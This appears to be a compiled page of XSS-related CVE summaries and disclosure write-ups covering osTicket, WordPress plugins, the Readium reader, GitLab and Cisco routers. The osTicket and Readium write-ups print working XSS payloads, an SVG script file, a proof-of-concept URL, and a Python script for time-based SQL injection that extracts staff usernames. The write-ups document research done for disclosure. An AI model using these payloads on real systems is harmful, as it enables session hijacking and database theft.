Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in Alan Jackson Multi-column Tag Map plugin <= 17.0.24 versions.

**Solution**

Update the WordPress Multi-column Tag Map plugin to the latest available version (at least 17.0.25).

Found this useful? Thank Lana Codes for reporting this vulnerability. Buy a coffee ☕

Lana Codes discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Multi-column Tag Map Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 17.0.25.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23815: WordPress Multi-column Tag Map plugin <= 17.0.24 - Cross Site Scripting (XSS) vulnerability - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in QuantumCloud Conversational Forms for ChatBot plugin <= 1.1.6 versions.

**Solution**

Update the WordPress Conversational Forms for ChatBot plugin to the latest available version (at least 1.1.7).

Rio Darmawan discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Conversational Forms for ChatBot Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 1.1.7.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23981: WordPress Conversational Forms for ChatBot plugin <= 1.1.6 - Cross Site Scripting (XSS) - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in WPGear.Pro WPFrom Email plugin <= 1.8.8 versions.

**Solution**

Update the WordPress WPFrom Email plugin to the latest available version (at least 1.8.9).

Rio Darmawan discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress WPFrom Email Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 1.8.9.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23982: WordPress WPFrom Email plugin <= 1.8.8 - Cross Site Scripting (XSS) - Patchstack

SQL Injection vulnerability in audit/class.audit.php in osTicket osTicket-plugins before commit a7842d494889fd5533d13deb3c6a7789768795ae via the order parameter to the getOrder function.

Nowadays, there are open-source solutions for every type of need. From accounting to CMS (Content Management System) applications, we can search for an application on the Internet that offers a solution to a specific issue or answers a need. Although, most of the time, it will be easier/faster than reinventing the wheel, using open-source applications might create some challenges. Security is one of those challenges, and zero-day vulnerabilities might put open-source users at risk.

With that in mind, one of the activities performed by _Checkmarx Labs_ is to search for security issues in open-source applications. The goal is to help secure open-source software which, usually, is not developed with a security-first approach, and is used by a community that often does not have the means to secure the open-source software.

One of the applications assessed was osTicket, an open-source ticketing system. With distinctive features and plugins, osTicket gives users the ability to “Manage, organize, and archive all your support requests and responses (…).” During our assessment, the _Checkmarx Labs_ team found some interesting vulnerabilities. In this blog/report, not only will we disclose some of the identified vulnerabilities but also elaborate on the team’s approach to identifying them.

**Research Lab**

The process that we follow, from creating a testing instance with the open-source application to finding the vulnerabilities, includes several steps. One of the first steps is to perform a static analysis scan (SAST) of the project, which will scan the code and find data flows that could lead to possible vulnerabilities. The use of this method often increases the number of issues found and is very useful when conducting these assessments. To validate the exploitability of the scan findings, we create a virtual machine (VM) and install the application in order to have a local testing environment for further testing. This way, we can confirm the existence of vulnerabilities and widen the assessment scope by performing a full penetration test, using both manual and automatic methodologies.

**Methodology**

After finalizing the first steps, we analyze scan results and identify the flows that lead to identified vulnerabilities. Although the scan simplifies the process, we also need to understand the application source code to find the “vulnerability entry point” (the input), and the flows that can be exploited. For example, during the analysis of the results, we identified some strange code injection results ending at “variable variables” \[1\]. This meant that user input controlled the variable name, and although this is not uncommon, it is a dangerous behavior—especially when user input is used.

_Figure 1 – Variable $sort, from the GET parameter, controlling the initial part of the variable name $x_

In this case, the string “**\_sort**” was added to the variable before its usage. We could not find any interesting variable name with that pattern. So, while the code is potentially weak to overwriting arbitrary variables, they would have to end in “\_sort”. This means the code does have a weakness but is not exploitable in a meaningful way.

There were a few different SAST results on this matter, and we decided to look further:

_Figure 2 – Request parameter concatenated to a raw HTML string at a user-controlled variable_

At the directory.inc.php file, the **$\_REQUEST** parameter was added directly to this string which appeared to be an HTML string, and yes, it was being used in multiple table headers. And of course, it would not be so simple.

We discovered that osTicket had a custom HTML sanitization method that was applied in many other HTML inputs, and it was not a very standard method for sanitizing input:

_Figure 3 – Request parameters filtered before usage in directory.inc.php_

This is an example piece of their sanitization method:

_Figure 4 – A fraction of the Format: sanitize blacklist function_

Although this method has some complexity, blacklisting specific strings and focusing on sanitizing HTML tags is not an effective way to sanitize the input, since it is difficult to be aware of every possible context and special characters that can be used to build an exploit.

After this analysis, we tried the only thing left, which was to confirm the vulnerability (in a local testing environment) explained in the **Reflected XSS, CVE-2022-32132** section below.

To confirm the vulnerabilities existence in the application, we created our own environment by setting up the application in a VM, and then perform the dynamic tests. With this environment, we not only confirmed the results found, but we could also find different vulnerabilities that are easier to find with our dynamic testing approach.

**Findings****Reflected XSS, CVE-2022-32132**

A Reflected XSS \[2\] was found in osTicket, allowing an attacker to inject malicious JavaScript into a browser’s DOM, which could enable attackers to hijack user sessions, perform actions on a user’s behalf within that user’s session context, and more.

After the analysis described in the Methodology, we validated that the vulnerability does exist in the application. Our first goal was to understand and escape the sanitizer. Sure enough, some special characters allowed us to discover this Reflected XSS vulnerability in the ‘directory’ URL, which is available by default in every osTicket installation. The blacklist was prepared to block user input from escaping HTML tags or even create dangerous tags like _<script>_, but on this specific scenario, the input was added to an attribute, and it allowed escaping from attributes. One of the obvious payloads was using the **_onmouseover_** attribute, which runs its value as JavaScript when the mouse moves over the component.

_Figure 5 – XSS payload executed_

_Figure 6 – Source page code with the XSS payload_

There are some things that can be done to increase the value (or risk) of this vulnerability, and the first thing is to make it easier for the victim to be attacked. An easy way of achieving this is to also inject the _style_ attribute of the vulnerable HTML tag in order to make it the size of the screen, being almost inevitable for the victim to visit the URL and trigger the payload.

/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name

Another thing that can be done is to leverage this vulnerability by using other weaknesses. We found two cases that can be abused for that purpose:

*   A stored HTML injection in the _“notes”_ section can be abused to have a permanent attack vector inside the application that redirects the user to the Reflected XSS, making it in practice, a stored XSS.
*   A CSRF in the _“change password”_ functionality can be used as a payload for the XSS, allowing an attacker to change the user password of the victim.

As the _directory.php_ page is in an admin panel, these steps could leverage this vulnerability from a simple Reflected XSS to a Stored XSS capable of full _admin account takeover_ without the need of any installed plugins.

**Reflected XSS, CVE-2022-31889**

In the Audit plugin, we found two Reflected XSS results where user input from the type or state parameters was inserted into the HTML without being sanitized. The fix adds the missing sanitization for these inputs. A similar procedure to the one presented in the Methodology section, was taken when analyzing the plugins results.

After the analysis, and confirmation that it was a True Positive, we validated that it was indeed vulnerable to XSS. Looking at the code in which the vulnerability occurs, we can see how easily it can be exploited:

_Figure 7 – type variable insert in the HTML without sanitization_

The input from the _type_ and _state_ parameters is inserted into the “**_a”_** tag without any sanitization. We can just close the **href** quote and the tag (>) and insert a simple script tag.

_Figure 8 – XSS payload executed_

_Figure 9 – Source page code with the XSS payload_

**SQL injection, CVE-2022-31890**

In the same plugin (Audit), we came across a SQL Injection result where user input from the order parameter was inserted into a SQL query without proper sanitization. Looking at the fix, there was a condition in the if statement in the old code that verified if the order query parameter existed in the **orderWay** array. The problem is that this array was not defined, so PHP will issue a Notice and the _if condition_ will always be false. The correction involved adding the missing array and changing some of the sanitization logic for the order variable.

_Figure 10 – order\_by variable concatenated directly into SQL query_

After confirming that the flow was indeed vulnerable, a Proof-of-Concept was created to demonstrate the real impact, as shown in Figure 13. By exploiting the SQL injection vulnerability, an attacker could obtain passwords hashes, PII, and access privilege information. The fact that the injection is after an ORDER BY makes the possible injection limited. A SQL injection after the ORDER BY clause is different from other cases (after a WHERE clause for example) because the database does not accept UNION, WHERE, OR, or AND keywords. It is possible to have nested queries, and we can also have multiple queries if we use a semicolon, but this is only possible if the method that executes the queries allows multiple queries execution. In this case, the method that executes the queries does not allow multiple queries. Nonetheless, a blind time-based injection is possible, allowing data extraction from the database.

**Example of a regular request:**

_Figure 11 – Normal request to the audits.php page_

**Sleep injection:**

_Figure 12 – Sleep injection result in the audits.php page_

With this knowledge, we can create a script that allows data extraction that triggers a _sleep_ when a particular condition is met, like a specific character in the user’s table that matches one provided by us.

    import requests
    import urllib
    import string
    
    HOSTNAME = 'http://localhost'
    cookie = {'OSTSESSID': '...'}
    headers = {'User-Agent': '...'}
    alphabet = string.ascii_lowercase + string.digits + '-_!'
    position = 1
    offset = 0
    
    for letter in alphabet:
        payload = "(select case when ((select substring(username," + str(position) + ",1) from os_staff LIMIT 1 OFFSET " + str(offset) + ")='" + letter + "') then sleep(0.3) else 1 end);"
        result = requests.get(HOSTNAME + '/scp/audits.php?&type=S&state=All&order=ASC,' + urllib.parse.quote(payload) +'--&sort=timestamp&_pjax=%23pjax-container', cookies=cookie, headers=headers)
        if result.elapsed.total_seconds() > 2:
            print(letter)
            break

_Figure 13 – Python script that obtains the first username character of the first os\_staff table entry_

**Session fixation, CVE-2022-31888**

SAST tools increases the number of security issues that can be found, and yet code analysis is not enough when trying to find all kinds of problems. For example, we found a session fixation issue while interacting with the application that, with code review, is difficult to notice.

Due to the nature of the problem, detecting that a new session is generated and the old one is terminated in the correct place is complex to detect. Most of the time, a clear understanding of the code base is required to spot a session fixation issue, but this can also be applied to other types of vulnerabilities that can be chained together and create a higher risk. Dynamic testing is also necessary if we want to find other types of vulnerabilities, or vulnerabilities that trigger only in specific situations.

In this case, the application provides two login pages, one for the admin panel and another for the user portal. While testing both interfaces, the existing session cookie (used in both interfaces) is not invalidated after a login.

We found this vulnerability while fuzzing the login pages. When a login is successful, the server should invalidate the previous session and create a new one by sending it in the Set-Cookie header. This did not happen, and it was also possible to define our own session.

_Figure 14 – Set-Cookie with controlled cookie_

_Figure 15 – Session cookie controlled_

If an attacker can access or control the session value before authentication, an authenticating user would be authenticating a session known to the attacker, who would then hijack it.

**Stored XSS, CVE-2022-32074**

While dynamically analyzing the Filesystem Storage plugin, we came across two issues:

1 – It’s possible to browse directly to the root of the file upload directory (in this example, the name chosen for the folder is file\_uploads). With this, a directory listing is possible, as shown below.

_Figure 16 – File uploads directory content_

2 – Images accessible via this storage do not properly neutralize SVG files, which can contain XSS payloads. For example, uploading the following XML inside a JPG file will serve its contents as SVG.

    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    
    <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
       <rect width="200" height="200" style="fill:rgb(0,255,255);stroke-width:3;stroke:rgb(0,0,0)" />
       <script type="text/javascript">
          alert("Stored XSS!!");
       </script>
    </svg>
    

By exploiting these two issues, we were able to find a Stored XSS.

_Figure 17 – XSS payload executed after accessing the image_

**Conclusion**

While the injection vulnerabilities such as SQLi and XSS are some of the security issues with more widespread knowledge and mitigation techniques, they are still at the top of vulnerabilities found. According to an Akamai report “the top three web application attacks were LFI (38%), SQLi (34%), and XSS (24%).”

These issues mainly arise because developers do not take into consideration that all data should be sanitized. Whether coming from user input or a database, the data should always be sanitized. There are also cases where custom sanitizers are implemented, and what happens is that developers’ implementation does not consider all cases. As a result, attackers can find ways to bypass the sanitizer \[3\].

OWASP provides a Cheat Sheet series that developers can use to understand the vulnerabilities and how to prevent them \[4\] \[5\].

The research was conducted in testing environments, and no production systems were used to test or exploit the previously mentioned vulnerabilities.

**Timeline**

*   April 20, 2022 – Full vulnerabilities report shared with osTicket team.
    *   osTicket team acknowledged receipt.
*   May 19, 2022 – Fix released.
*   June 22, 2022 – CVE-2022-31888, CVE-2022-31889, CVE-2022-31890 assigned.
*   July 13, 2022 – CVE-2022- 32074 assigned.
*   July 21, 2022 – CVE-2022-32132 assigned.
*   February 14, 2023 – Public disclosure

**Final Words**

It was a pleasure working with **osTicket’s** security team. Their professionalism and cooperation, as well as the prompt ownership they took, are what we hope for when we engage with software companies. Kudos!

This type of research activity is part of the _Checkmarx Security Research Team’s_ ongoing efforts to drive the necessary changes in software security practices among organizations who offer online services in an effort to improve security for everyone overall.

**References**

\[1\] https://www.php.net/manual/en/language.variables.variable.php

\[2\] https://portswigger.net/web-security/cross-site-scripting/reflected

\[3\] https://owasp.org/www-community/Injection\_Theory

\[4\] https://cheatsheetseries.owasp.org/cheatsheets/SQL\_Injection\_Prevention\_Cheat\_Sheet.html

\[5\] https://cheatsheetseries.owasp.org/cheatsheets/Cross\_Site\_Scripting\_Prevention\_Cheat\_Sheet.html

Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

CVE-2022-31890: Securing Open-Source Solutions: A Study of osTicket Vulnerabilities

Cross Site Scripting (XSS) vulnerability in audit/templates/auditlogs.tmpl.php in osTicket osTicket-plugins before commit a7842d494889fd5533d13deb3c6a7789768795ae.

@@ -3,18 +3,18 @@

  

$qs = array();

if($\_REQUEST\['type'\])

$qs += array('type' => $\_REQUEST\['type'\]);

$qs += array('type' => Format::htmlchars($\_REQUEST\['type'\]));

$type\='D';

  

if ($\_REQUEST\['type'\])

$type\=$\_REQUEST\['type'\];

$type\=Format::htmlchars($\_REQUEST\['type'\]);

  

if($\_REQUEST\['state'\])

$qs += array('state' => $\_REQUEST\['state'\]);

$qs += array('state' => Format::htmlchars($\_REQUEST\['state'\]));

$state\=\_\_('All');

  

if ($\_REQUEST\['state'\])

$state\=$\_REQUEST\['state'\];

$state\=Format::htmlchars($\_REQUEST\['state'\]);

  

//dates

$startTime =($\_REQUEST\['startDate'\] && (strlen($\_REQUEST\['startDate'\])>=8))?strtotime($\_REQUEST\['startDate'\]):0;

@@ -28,7 +28,7 @@

if($endTime)

$qs += array('endDate' => $\_REQUEST\['endDate'\]);

}

$order = AuditEntry::getOrder($\_REQUEST\['order'\]);

$order = AuditEntry::getOrder(Format::htmlchars($\_REQUEST\['order'\]));

$qs += array('order' => (($order\=='DESC') ? 'ASC' : 'DESC'));

$qstr = '&amp;'. Http::build\_query($qs);

CVE-2022-31889: xss: Audit Log · osTicket/osTicket-plugins@047a1c3

An arbitrary file upload vulnerability in readium-js v0.32.0 allows attackers to execute arbitrary code via uploading a crafted EPUB file.

Finding these bugs required a deep dive into the targets and their underlying technologies. This meant that, among other things, I learnt about the existence of the

EPUB format

and the world of EPUB cloud readers.

This led me to discover a (surprisingly, somewhat known) XSS vulnerability in the

Readium

cloud reader that affects many university websites and online libraries.

I have attempted to get in touch with the maintainers to remediate the issue, but have not yet received any response. Going by the conventional 90-day disclosure timeline, I am now sharing details on this vulnerability.

**

What is an EPUB? What is a Readium?



**

The EPUB format is an XML-based ebook format created by the

International Digital Publishing Forum (IDPF)

. It is one of the major ebook formats around today. Unlike other proprietary formats such as Amazon's Kindle KF8, the EPUB format is vendor-independent.

The

Readium

project was started by IDPF, and is one of the cited EPUB readers on the

W3 website

.

To see it in action, we can visit the Readium cloud reader

demo

. We can quickly see that the cloud reader renders iframes containing pages of the ebook.

Each page is fetched from the location indicated in data-src and converted into the final rendered HTML. The pages are XHTML files and are called EPUB

content documents

. For example, page 1 of La Page Blanche contains the following content.

<?xml version="1.0" encoding="UTF-8"?>

<html xmlns\="http://www.w3.org/1999/xhtml" xmlns:epub\="http://www.idpf.org/2007/ops"\>

<meta name\="viewport" content\="width=1200, height=1577" />

<title\>La Page Blanche</title\>

<link href\="../Style/style.css" type\="text/css" rel\="stylesheet" />

<div class\="page" epub:type\="frontmatter titlepage"\><img

src\="../Image/PageBlanche\_Page\_001.jpg" alt\="page 1" /></div\>

First of all, we could see that the iframe does not have the sandbox attribute present. This means that any scripts firing within the iframe would execute on the same origin as its src.

Readium will create a Blob containing the page data and create a new blob: URL for it (

source

). This is the URL that the frame src is set to (

source

).

// prefer BlobBuilder as some browser supports Blob constructor but fails using it

if (window.BlobBuilder) {

var builder \= new BlobBuilder();

builder.append(contentDocumentData);

blob \= builder.getBlob(contentType);

blob \= new Blob(\[contentDocumentData\], {'type': contentType});

documentDataUri \= window.URL.createObjectURL(blob);

iframe.setAttribute("src", documentDataUri);

Unfortunately, this means that the iframe's origin will always be that of the parent page.

Suppose we are able to upload an ebook to an online library using Readium. We might upload a malicious EPUB that runs some evil JavaScript. Any user that opens our ebook would then have their account compromised.

To create such an EPUB, I copied an example EPUB from the Readium demo and changed the home page. An example PoC can be found

here

.

Note that we are using x:script to make the payload work with XHTML parsers.

<x:script xmlns:x\="http://www.w3.org/1999/xhtml"\>alert(document.domain)</x:script\>

The above scenario requires us to have privileges on the target site to upload arbitrary EPUBs and serve them to other users. It turns out, however, that the cloud reader is able to load remote EPUBs as well.

The cloud reader uses

medialize/URI.js

to normalize the epub query parameter, which is a relative URL (

source

).

ebookURL \= new URI(ebookURL).absoluteTo(thisRootUrl).toString();

However, when ebookURL is an absolute URL, absoluteTo retains the original base URL.

This means that by simply passing our hosted exploit URL to the epub query parameter, we have a reflected XSS! This does not require us to have any permissions on the target site.

Using the example PoC on the Readium demo should pop an alert:

https://readium.firebaseapp.com/?epub=https://zeyu2001.github.io/readium-xss/

The Readium cloud reader is a rather old project. While more recent and popular cloud readers have been developed, some sites still use the Readium cloud reader, including the IDPF's own website and several university sites.

I have made best effort attempts at identifying these sites (e.g. through Google dorking) and reaching out to the responsible teams to remediate this vulnerability before the release of this post.

Interestingly, after doing some digging, I found that this was somewhat of a known issue.

This

documentation explains the issue.

> One should note that if a cloud reader aims to support JavaScript, all publications will at least share the same database, which means it is possible for an author to access data that originated in a different publication.

However, it leaves only the following suggestions to mitigate the vulnerability.

> Currently, the only options to protect against attacks (see "Security Concerns" section) are:
> 
> *   the Content Security Policy;
>     

These suggestions are _not_ implemented in the default installation of

readium-js-viewer

.

Since this is quite an old project, the best remediation might be to move to a more modern cloud reader. If Readium needs to be used, the iframes on the page should have the sandbox attribute set.

Additionally, the page's Content Security Policy can be used to restrict where scripts can be loaded from.

*   11 October 2022: Contacted maintainers through OSS platform
    
    huntr.dev
    
    ​
    

*   16 December 2022: Contacted maintainers through GitHub issue
    

*   27 January 2022: This blog post is released

CVE-2023-24720: ReadiumJS Cloud Reader — Everybody Gets an XSS!

An issue has been discovered in GitLab affecting all versions starting from 15.6 before 15.8.5, 15.9 before 15.9.4, and 15.10 before 15.10.1. An XSS was possible via a malicious email address for certain instances.

CVE-2023-0523

An issue has been discovered in GitLab affecting all versions starting from 12.8 before 15.8.5, all versions starting from 15.9 before 15.9.4, all versions starting from 15.10 before 15.10.1. A specially crafted payload could lead to a reflected XSS on the client side which allows attackers to perform arbitrary actions on behalf of victims on self-hosted instances running without strict CSP.

CVE-2022-3513

Jfinal CMS v5.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /system/dict/list.

\[cve ID\]

cve-2023-24747

\[PRODUCT\]

JFINAl

\[VERSION\]

version < JFINAl\_cms-5.1

\[PROBLEM TYPE\]

Cross Site Scripting

\[DESCRIPTION\]

Depositing a string into the database results in stored XSS

CVE-2023-24747: cve-2023-24747

Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV016, RV042, RV042G, RV082, RV320, and RV325 Routers could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the interface. These vulnerabilities are due to insufficient input validation by the web-based management interface. An attacker could exploit these vulnerabilities by sending crafted HTTP requests to an affected device and then persuading a user to visit specific web pages that include malicious payloads. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. Cisco has not released software updates that address these vulnerabilities.

*   There are no workarounds that address these vulnerabilities.
    
    To mitigate these vulnerabilities on Cisco Small Business RV320 and RV325 Routers, disable remote management. To mitigate these vulnerabilities on Cisco Small Business RV016, RV042, RV042G, and RV082 Routers, disable remote management and block access to ports 443 and 60443. The routers will still be accessible through the LAN interface after the mitigation has been implemented.
    
    **Disable Remote Management**
    
    To disable remote management, do the following:
    
    1.  Log in to the web-based management interface for the device.
    2.  Choose **Firewall > General**.
    3.  Uncheck the **Remote Management** check box.
    
    **Block Access to Ports 443 and 60443**
    
    First, add a new service to the access rules of the device for port 60443. It is not necessary to create a service for port 443 because that service is predefined in the services list.
    
    1.  Log in to the web-based management interface for the device.
    2.  Choose **Firewall > Access Rules**.
    3.  Click **Service Management**.
    4.  In the **Service Name** field, enter **TCP-60443**.
    5.  From the **Protocol** drop-down list, choose **TCP**.
    6.  In both of the **Port Range** fields, enter **60443**.
    7.  Click **Add to List**.
    8.  Click **OK**.
    
    Next, create access rules to block ports 443 and 60443. To create an access rule to block port 443, do the following:
    
    1.  Log in to the web-based management interface for the device.
    2.  Choose **Firewall > Access Rules**.
    3.  Click **Add**.
    4.  From the **Action** drop-down list, choose **Deny**.
    5.  From the **Service** drop-down list, choose **HTTPS (TCP 443-443)**.
    6.  From the **Log** drop-down list, choose **Log packets match this rule**.
    7.  From the **Source Interface** drop-down list, choose the option that matches the WAN connection on the device.
    8.  From the **Source IP** drop-down list, choose **Any**.
    9.  From the **Destination IP** drop-down list, choose **Single**.
    10.  In both of the **Destination IP** fields, enter the WAN IP address.
    11.  Click **Save**.
    
    To create an access rule to block port 60443, repeat the preceding steps, but for Step 5, choose **HTTPS (TCP 60443-60443)** from the **Service** drop-down list.
    
    **Note**: If a second WAN port is being used, two additional ACL rules need to be set up using the WAN number and IP address for the second WAN port.
    
    While these mitigations have been deployed and were proven successful in a test environment, customers should determine the applicability and effectiveness in their own environment and under their own use conditions. Customers should be aware that any workaround or mitigation that is implemented may negatively impact the functionality or performance of their network based on intrinsic customer deployment scenarios and limitations. Customers should not deploy any workarounds or mitigations before first evaluating the applicability to their own environment and any impact to such environment.

CVE-2023-20151: Cisco Security Advisory: Cisco Small Business RV016, RV042, RV042G,  RV082 , RV320, and RV325 Routers Cross-Site Scripting Vulnerabilities

Tag

#xss